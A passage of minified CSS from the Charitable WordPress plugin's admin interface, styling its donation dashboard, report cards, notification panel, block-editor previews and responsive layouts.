ul li .info p.amount{margin:10px 0 0 0;font-weight:500;color:#8C8E96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.campaign-title{margin:10px 0 0 0;font-style:italic;font-weight:500;color:#8C8E96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info p.email{margin:10px 0 0 0;font-weight:500;color:#8C8E96;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .info .badge{font-weight:200;display:inline-block;margin-left:10px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .time-ago{color:#8C8E96}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info{font-size:14px;line-height:14px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p{margin:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info p:first-of-type{margin-top:10px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li .donor-donation-info .badge{font-weight:200;display:block}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:last-child{border-bottom:0;padding-bottom:0}body.charitable_page_charitable-dashboard .charitable-report-card .the-list ul li:first-child{padding-top:0}body.charitable_page_charitable-dashboard .charitable-report-card .more{margin:30px 25px;display:table;padding:0;text-align:left}body.charitable_page_charitable-dashboard .charitable-report-card .more a{font-weight:600;font-size:14px;line-height:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-report-card .more a img{margin-left:10px;float:right;display:block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards{display:grid;grid-template-columns:repeat(2, 1fr);margin-top:0px;margin-bottom:0px;grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card{padding:20px 30px;margin-top:0px;margin-bottom:0px;position:relative;display:table;clear:both}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h1{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card h3{margin-top:0;margin-bottom:0}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a{margin:5px auto 0 auto;display:inline-block}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link{background-color:#5AA152;color:#ffffff;padding:10px 15px;position:relative;top:-4px;text-decoration:none;border-radius:5px;text-shadow:none;font-weight:600;font-size:13px;line-height:normal;cursor:pointer}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link.charitable-button-link-upgrade{background-color:#F18500}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card a.button-link:hover{background-color:#43833b !important;border-color:#43833b !important}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card button.dismiss{position:absolute;top:10px;right:10px;color:#666;font-size:16px;text-decoration:none}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done{color:#79ba49}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .done:before{content:\"\\f147\";font-family:\"dashicons\";font-size:20px;margin-right:5px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done{color:#5aa152}body.charitable_page_charitable-dashboard .charitable-dashboard-title-cards .charitable-dashboard-title-card .checklist .not-done:before{content:\"\\f464\";font-family:\"dashicons\";font-size:20px;margin-right:8px;vertical-align:middle;margin-left:1px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report{width:66%}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary{font-weight:400;color:#9899A0}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-recent-donations-report .the-list ul li .info .info-summary p strong{color:#494E5A;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li{display:block}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .main{display:flex}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary{font-weight:400;color:#9899A0}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p{display:inline-block;margin-right:20px}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .info .info-summary p strong{color:#494E5A;font-weight:400}body.charitable_page_charitable-dashboard .charitable-top-campaigns-report .the-list ul li .progress-bar{margin:10px auto;width:100%}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li{display:flex;border:0;padding-top:5px;padding-bottom:5px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon{margin-right:10px;height:25px;line-height:25px}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .icon img{max-height:25px;vertical-align:middle}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info{margin-left:0}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a{text-decoration:none;font-weight:600;font-size:14px;line-height:30px;color:#474A57}body.charitable_page_charitable-dashboard .charitable-support .the-list ul li .info a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul{width:100%;margin:0 auto;padding:0;display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:20px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li{border:0;padding-top:5px;padding-bottom:5px;padding-left:5px;padding-right:5px;text-align:center;font-weight:400}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a{text-decoration:none;font-size:13px;line-height:17px;color:#474A57;font-family:\"Inter\", sans-serif !important;width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a h4,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a h4{font-weight:600;font-size:18px;line-height:21px;margin-top:5px;margin-bottom:5px}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li img,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li img{width:100%}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li a:hover,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li a:hover{text-decoration:underline}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li .recommended,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .popular,body.charitable_page_charitable-dashboard .charitable-recommended-snippets .the-list ul li .recommended{position:absolute;background-color:green;color:white;padding:10px 15px;font-weight:700;text-transform:uppercase}body.charitable_page_charitable-dashboard .charitable-recommended-addons .the-list ul li{padding-top:0;padding:0}body.charitable_page_charitable-dashboard .charitable-recommended-addons .charitable-toggle-container{padding:26px 26px}body.charitable_page_charitable-dashboard .charitable-title-card-content .button-wrap{margin:20px 0 0 0;display:flex;flex-direction:row;justify-content:space-between}body.charitable_page_charitable-dashboard .progress-bar{height:4px;background-color:#F5F5F5;border-radius:0;border:0}body.charitable_page_charitable-dashboard .progress-bar .progress{height:4px;background-color:#5AA152}body.charitable_page_charitable-dashboard .charitable-toggle .charitable-angle-right{rotate:-90deg}body.charitable_page_charitable-dashboard .badge.completed{color:#50A66A}body.charitable_page_charitable-dashboard .badge.pending{color:#E38632}body.charitable_page_charitable-dashboard .badge.active{color:#50A66A}body.charitable_page_charitable-dashboard .badge.recurring{color:#50A66A}body.charitable_page_charitable-dashboard .badge.one-time{color:#EAA465}body.charitable_page_charitable-dashboard .badge.paid, body.charitable_page_charitable-dashboard .badge.charitable-completed{color:#50A66A}body.charitable_page_charitable-dashboard .badge.cancelled{color:#CE3E4E}body.charitable_page_charitable-dashboard .badge.draft{color:#ccc}body.charitable_page_charitable-dashboard .no-items{text-align:center;font-size:17px;line-height:22px;margin:50px auto}body.charitable_page_charitable-dashboard .no-items strong{font-weight:600}body.charitable_page_charitable-dashboard .no-items p{font-size:17px;line-height:22px;margin:12px auto}body.charitable_page_charitable-dashboard .no-items p.link{font-size:14px;line-height:14px;display:table}body.charitable_page_charitable-dashboard .no-items p.link a{font-weight:600;font-size:14px;line-height:14px;text-decoration:none}body.charitable_page_charitable-dashboard .no-items p.link a img{margin-left:10px;margin-top:-2px;float:right;display:block}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list{width:100%}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items{margin:35px auto 10px auto}body.charitable_page_charitable-dashboard #charitable-wpcode-snippets-list .no-items p.link{text-align:left;margin:0 auto 0 0}nav.charitable-reports-pagination-nav{margin:0 0 9px}nav.charitable-reports-pagination-nav div.total-count{float:left}nav.charitable-reports-pagination-nav ul{float:right;margin:0}nav.charitable-reports-pagination-nav ul li{font-size:13px;line-height:30px;display:inline-block;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#a7aaad !important;border-color:#dcdcde !important;background:#f6f7f7 !important;box-shadow:none !important;cursor:default;transform:none !important}nav.charitable-reports-pagination-nav ul li a{display:inline-block;line-height:30px;text-decoration:none;vertical-align:baseline;min-width:30px;min-height:30px;margin:0;padding:0 4px;text-align:center;color:#2271b1;border-color:#2271b1;background:#f6f7f7;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}nav.charitable-reports-pagination-nav ul li span{text-align:center;display:inline-block}.charitable-admin-ui.charitable-admin-ui-field.charitable-admin-ui-toggle{margin-top:-8px}.wp-pointer-buttons .charitable-pointer-buttons{display:table;width:100%;margin:0 0 0 auto}.wp-pointer-buttons .charitable-pointer-buttons a.close{margin:4px 0 0 25px}.wp-pointer-buttons .charitable-pointer-buttons a.button.button-primary{background:#2271b1;border-color:#2271b1;color:#fff;text-decoration:none;text-shadow:none;font-size:13px;line-height:2.15384615;min-height:30px;margin:0;padding:0 10px;cursor:pointer;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box}.wp-pointer-buttons .charitable-pointer-buttons a.button-visit{float:left}.charitable-disabled{cursor:default;opacity:0.5;pointer-events:none}.charitable-headline-reports,.charitable-restricted{position:relative}.restricted-access-overlay{position:absolute;display:flex;justify-content:center;inset:1px;background-color:hsla(0, 0%, 100%, 0.35);-webkit-backdrop-filter:blur(2px);backdrop-filter:blur(2px);z-index:99}body.modal-open{overflow:hidden}.charitable-menu-notification-indicator{margin:6px 0 0;width:8px;height:8px;border-radius:50%;background-color:#d63638;line-height:1.6;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite;float:right}[dir=ltr] #toplevel_page_charitable .charitable-menu-notification-indicator{float:right}[dir=rtl] #toplevel_page_charitable .charitable-menu-notification-indicator{float:left}@keyframes wpchar-menu-notification-indicator-pulse{0%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0, 0, 0, 0.7)}70%{transform:scale(1);box-shadow:0 0 0 15px rgba(0, 0, 0, 0)}100%{transform:scale(0.95);box-shadow:0 0 0 0 rgba(0, 0, 0, 0)}}.charitable-notification{margin-bottom:20px}.charitable-notification:last-child{margin-bottom:0}.charitable-notification > div{display:flex;align-items:flex-start;padding-bottom:10px;border-bottom:1px solid #e8e8eb}.charitable-notification > div:last-child{padding-bottom:0;border-bottom:0;margin-bottom:0}.charitable-notification > div .body{font-size:14px;line-height:22px;flex:1}.charitable-notification > div .body .title{font-size:14px;font-weight:600;color:#141b38;margin-bottom:9px;display:flex;align-items:left;flex-direction:column}.charitable-notification > div .body .title.dashboard-title{flex-direction:row}.charitable-notification > div .body .title div:first-child{flex:1;line-height:22px}[dir=ltr] .charitable-notification > div .body .title div:first-child{margin-right:5px}[dir=rtl] .charitable-notification > div .body .title div:first-child{margin-left:5px}.charitable-notification > div .body .title .date{font-weight:initial;color:#8c8f9a;font-size:12px}.charitable-notification > div .body .notification-content{margin-bottom:12px;max-width:calc(100% - 110px)}.charitable-notification > div .body .notification-content img{max-width:100%}.charitable-notification > div .body .actions{flex-wrap:wrap;display:flex;align-items:baseline}[dir=rtl] .charitable-notification > div .body .actions{flex-direction:row-reverse;justify-content:right}.charitable-notification > div .body .actions > *{margin-bottom:12px}[dir=ltr] .charitable-notification > div .body .actions .charitable-button{margin-right:20px}[dir=rtl] .charitable-notification > div .body .actions .charitable-button{margin-left:20px}.charitable-notification > div .body .actions .dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-notification > div .icon{margin-right:14px}[dir=ltr] .charitable-notification > div .icon{margin-right:14px}[dir=rtl] .charitable-notification > div .icon{margin-left:14px}.charitable-notification > div .icon svg{width:25px;height:25px;color:#00aa63}.charitable-notification > div .icon svg.warning{color:#f18200}.charitable-notification > div .icon svg.info{color:#E38632}.charitable-notification > div .icon svg.success{color:#00aa63}.charitable-notification > div .icon svg.error{color:#df2a4a}.charitable-notification .actions{display:flex;justify-content:left;align-items:center;margin-top:5px}.charitable-notification .actions .dismiss{margin-left:10px;text-decoration:none;font-size:12px;line-height:14px;text-decoration:underline}.charitable-notification .actions .dismiss:hover{color:#8c8f9a}.charitable-notification .charitable-notifications-buttons{display:flex;justify-content:space-between;margin-top:5px}.charitable-notification .button.button-primary{padding:3px 15px !important;border-radius:5px !important;font-size:13px !important;line-height:2.15 !important;background-color:#E38632;color:#fff;border-color:#E38632}.charitable-notification .button.button-primary:hover{padding:3px 16px;border-radius:5px;background-color:#E38632;border-color:#E38632;filter:brightness(0.9)}.charitable-notification .button.button-secondary{padding:3px 15px !important;border-radius:5px !important;font-size:13px !important;line-height:2.15 !important;margin-left:15px;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}.charitable-notification .button.button-secondary:hover{padding:3px 16px;border-radius:5px;background-color:#F9F9FA;border-color:#E4E4E7;filter:brightness(0.9)}.charitable-notification-cards{display:none}.charitable-notification-cards.notification-cards-visible{display:block}.charitable-notification-cards .charitable-notification:last-child > div{border-bottom:none;margin-bottom:none}.charitable-notification-cards .no-notifications{display:flex;align-items:center;flex-direction:column;font-size:14px;line-height:22px;color:#8c8f9a}.charitable-notification-cards .no-notifications img{width:30%;max-width:108px;height:auto}.charitable-notification-cards .no-notifications .great-scott{margin:20px 0 8px;font-size:18px;font-weight:600;color:#434960}.charitable-notification-cards .no-notifications .no-new-notifications{margin-bottom:20px}@media (min-height:500px){.charitable-notification-cards .no-notifications{padding-top:100px}}body.charitable-show-notifications .charitable-main{pointer-events:none;-webkit-user-select:none;user-select:none}.charitable-plugin-notifications{margin-top:32px;position:fixed;top:0;z-index:999992;width:570px;right:-570px;-webkit-transition:right 500ms ease-out;-moz-transition:right 500ms ease-out;-o-transition:right 500ms ease-out;transition:right 500ms ease-out}.charitable-plugin-notifications.in{right:0}[dir=rtl] .charitable-plugin-notifications{left:-570px;-webkit-transition:left 500ms ease-out;-moz-transition:left 500ms ease-out;-o-transition:left 500ms ease-out;transition:left 500ms ease-out}[dir=rtl] .charitable-plugin-notifications.in{left:0}.charitable-plugin-notifications a.dismiss{color:#8c8f9a;font-size:13px;margin-top:0;margin-bottom:0}.charitable-plugin-notifications .charitable-button{border-radius:5px;font-family:\"Inter\", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize;text-decoration:none;display:inline-block;cursor:pointer;min-height:30px;border-width:1px;border-style:solid;-webkit-appearance:none;border-radius:3px;white-space:nowrap;box-sizing:border-box;color:white}.charitable-plugin-notifications .charitable-button.charitable-button-green{background-color:#00aa63}.charitable-plugin-notifications .charitable-button.charitable-button-orange{background-color:#e27730}.charitable-plugin-notifications .notification-menu{display:flex;flex-direction:column;height:calc(100% - var(--wp-admin--admin-bar--height, 32px));width:100%;max-width:570px;position:fixed;z-index:1053;top:32px;bottom:0;background-color:white;overflow-x:hidden;transition:0.5s}.charitable-plugin-notifications .notification-menu .notification-header{height:64px;display:flex;align-items:center;padding:0 20px;color:#fff;background-color:#E38632}.charitable-plugin-notifications .notification-menu .notification-header .new-notifications,.charitable-plugin-notifications .notification-menu .notification-header .old-notifications{font-size:18px;font-weight:600;display:none}.charitable-plugin-notifications .notification-menu .notification-header .notifications-visible{display:block}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{flex:1 1 auto;margin-left:25px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-left:25px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications{margin-right:25px}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a{font-size:12px;color:#fff}.charitable-plugin-notifications .notification-menu .notification-header .dismissed-notifications a:focus{border:0;box-shadow:none}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close{width:14px;height:14px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-header svg.charitable-close:hover{color:#ccc}.charitable-plugin-notifications .notification-menu .notification-cards{flex:1;padding:24px;overflow:auto}.charitable-plugin-notifications .notification-menu .notification-footer{padding:24px;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination{flex:1;display:flex;align-items:center}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{font-size:13px;color:#141b38;background:#e8e8eb;height:30px;width:30px;display:flex;align-items:center;justify-content:center;border-radius:2px;cursor:pointer}.charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number.active, .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:hover{color:#fff;background-color:#E38632}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-right:4px}[dir=ltr] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-right:0}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number{margin-left:4px}[dir=rtl] .charitable-plugin-notifications .notification-menu .notification-footer div.pagination .page-number:last-child{margin-left:0}.charitable-plugin-notifications .charitable-notifications-overlay{display:none;position:fixed;z-index:998;top:32px;bottom:0;background-color:#141b38;opacity:0.5;transition:0.5s;cursor:pointer;right:0;left:160px}[dir=ltr] .charitable-plugin-notifications .charitable-notifications-overlay{right:0;left:160px}[dir=rtl] .charitable-plugin-notifications .charitable-notifications-overlay{left:0;right:160px}.charitable-plugin-notifications .notifications-fade-enter-active,.charitable-plugin-notifications .notifications-fade-leave-active{transition:opacity 0.5s}.charitable-plugin-notifications .notifications-fade-enter-from,.charitable-plugin-notifications .notifications-fade-leave-to{opacity:0}.charitable-plugin-notifications .notifications-slide-enter-active,.charitable-plugin-notifications .notifications-slide-leave-active{transition:all 0.5s ease-in-out}.charitable-plugin-notifications [dir=ltr] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=ltr] .notifications-slide-leave-to{right:-570px}.charitable-plugin-notifications [dir=rtl] .notifications-slide-enter-from,.charitable-plugin-notifications [dir=rtl] .notifications-slide-leave-to{left:-570px}@media print{.charitable-plugin-notifications{display:none}}.charitable-dashboard-notifications{background-color:white;box-shadow:0 0 30px rgba(0, 0, 0, 0.15);border-radius:4px;position:relative}.charitable-dashboard-notifications .charitable-dashboard-notification{padding:10px;display:flex;justify-content:left;background-color:#f18500;text-align:left;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification .charitable-dashboard-notification-icon{margin:0 10px 0 10px;width:18px;height:18px}.charitable-dashboard-notifications .charitable-dashboard-notification h4.charitable-dashboard-notification-headline{display:none}.charitable-dashboard-notifications .charitable-dashboard-notification p:first-of-type{margin-top:0}.charitable-dashboard-notifications .charitable-dashboard-notification-bar{position:absolute;right:0px;top:0px;display:flex;justify-content:space-between;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:relative;right:20px;top:-14px;padding:0px;display:flex;justify-content:space-between;align-items:center;min-height:45px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{cursor:pointer;color:black;text-decoration:none;font-weight:200;font-size:32px;line-height:32px;display:inline-block;opacity:0.3;padding:0px 4px;position:relative;top:1px;border-radius:5px;background-color:transparent}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a:hover{opacity:0.5}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 4px;line-height:32px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:relative;right:5px;top:-10px;font-size:14px;line-height:14px;width:18px;height:18px;text-decoration:none;opacity:0.3;background-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg);color:white;background-color:white;-webkit-mask-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg);mask-image:url(..\u002F..\u002Fimages\u002Fonboarding\u002Fchecklist\u002Ftimes-circle-regular.svg)}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{opacity:0.5}.charitable-dashboard-notifications .charitable-dashboard-notification{background-color:white;border:1px solid #c3c4c7;border-left-width:4px;padding:0;box-shadow:0 1px 1px rgba(0, 0, 0, 0.04);border-radius:4px;border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-notice{border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-important{border-left-color:#EAA465}.charitable-dashboard-notifications .charitable-dashboard-notification-message{padding:20px}.charitable-dashboard-notifications .charitable-dashboard-notification-message h5:first-of-type{font-size:18px;line-height:21px;margin:0 0 10px 0;padding:0}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:first-child{margin-top:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:last-child{margin-bottom:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message ul, .charitable-dashboard-notifications .charitable-dashboard-notification-message ol{margin-top:5px}.charitable-dashboard-notifications ul{margin:0 0 0 20px;padding:0;list-style-type:disc}.charitable-dashboard-notifications .charitable-dashboard-notification[data-notification-type=notice] header{background-color:#0054f1}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice{background-color:#f0f6fc;border-left:solid 4px #017cba;color:#1e1e1e;padding:12px 12px 12px 16px;margin-bottom:0}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice strong{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice a{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice.wpchar-warning{background-color:#fef8ee;border-left-color:#efb84a;margin-bottom:12px}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations .charitable-logo{max-width:255px !important;margin-bottom:10px !important;padding-bottom:10px !important;border-bottom:1px solid #e8e8eb}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations p{margin-top:2px !important;margin-bottom:2px !important}body.post-type-donation.charitable-admin-donation-edit #post-body input[type=text],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=email],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=number],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=password],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=search],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=tel],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=url]{padding:8px 10px}body.post-type-donation.charitable-admin-donation-edit #donation-form-meta{padding-top:0}body.post-type-donation.charitable-admin-donation-edit #postbox-container-2 .postbox-header{display:none}#charitable-reports .charitable-report-table-container{position:relative}#charitable-reports .charitable-report-table-container .reports-lite-cta{z-index:999;position:absolute;top:25%;left:0;right:0;margin:25px}@media screen and (max-width:1200px){body.charitable_page_charitable-reports .charitable-cards .charitable-card, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card{padding-top:30px;padding-bottom:30px}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}}@media screen and (max-width:1000px){body.charitable_page_charitable-reports .charitable-cards, body.charitable_page_charitable-dashboard .charitable-cards{grid-template-columns:repeat(2, 1fr)}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:42px;line-height:44px}}@media screen and (max-width:800px){body.charitable_page_charitable-reports .charitable-cards, body.charitable_page_charitable-dashboard .charitable-cards{grid-template-columns:repeat(2, 1fr)}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-reports .charitable-section-grid, body.charitable_page_charitable-dashboard .charitable-section-grid{grid-template-columns:repeat(1, 1fr)}body.charitable_page_charitable-reports .charitable-section-grid.one-third, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-reports .charitable-section-flexible, body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:1;column-gap:0;display:block}#charitable-reports .charitable-report-table-container table.wp-list-table th, #charitable-reports .charitable-report-table-container table.wp-list-table td{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#charitable-reports .charitable-report-table-container table.wp-list-table th.charitable-avatar, #charitable-reports .charitable-report-table-container table.wp-list-table td.charitable-avatar{display:none;width:1px}#charitable-reports .charitable-report-table-container table.wp-list-table td.manage-column.column-actions, #charitable-reports .charitable-report-table-container table.wp-list-table th.manage-column.column-actions{width:30px}}@media screen and (max-width:700px){body.charitable_page_charitable-reports .charitable-cards, body.charitable_page_charitable-dashboard .charitable-cards{grid-template-columns:repeat(2, 1fr)}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong, body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-reports .charitable-section-grid, body.charitable_page_charitable-dashboard .charitable-section-grid{grid-template-columns:repeat(1, 1fr)}body.charitable_page_charitable-reports .charitable-section-grid.one-third, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report, body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-reports .charitable-section-flexible, body.charitable_page_charitable-dashboard .charitable-section-flexible{columns:1;column-gap:0;display:block}}body.charitable_page_charitable-settings .charitable-education-page .charitable-settings-heading-pro h4{margin-top:40px}.charitable-education-page{max-width:1000px;margin-bottom:30px;padding:0}.charitable-education-page .charitable-education-page-heading h4,.charitable-education-page .charitable-settings-heading-pro h4{font-size:20px;font-weight:600;margin:20px 0 6px 0;line-height:20px}.charitable-education-page .charitable-education-page-heading h4:after,.charitable-education-page .charitable-settings-heading-pro h4:after{background-color:#F99E36;color:white;content:\"Pro\";padding:3px 7px;font-size:9px;line-height:9px;text-transform:uppercase;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-3px}.charitable-education-page .charitable-education-page-images{display:flex;gap:25px;margin:25px 0px}.charitable-education-page .charitable-education-page-images figure{margin:0}.charitable-education-page .charitable-education-page-images figcaption{font-style:normal;font-weight:400;font-size:14px;line-height:17px;text-align:center;color:rgb(119, 119, 119);margin-top:10px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image{display:inline-block;position:relative;background-color:rgb(255, 255, 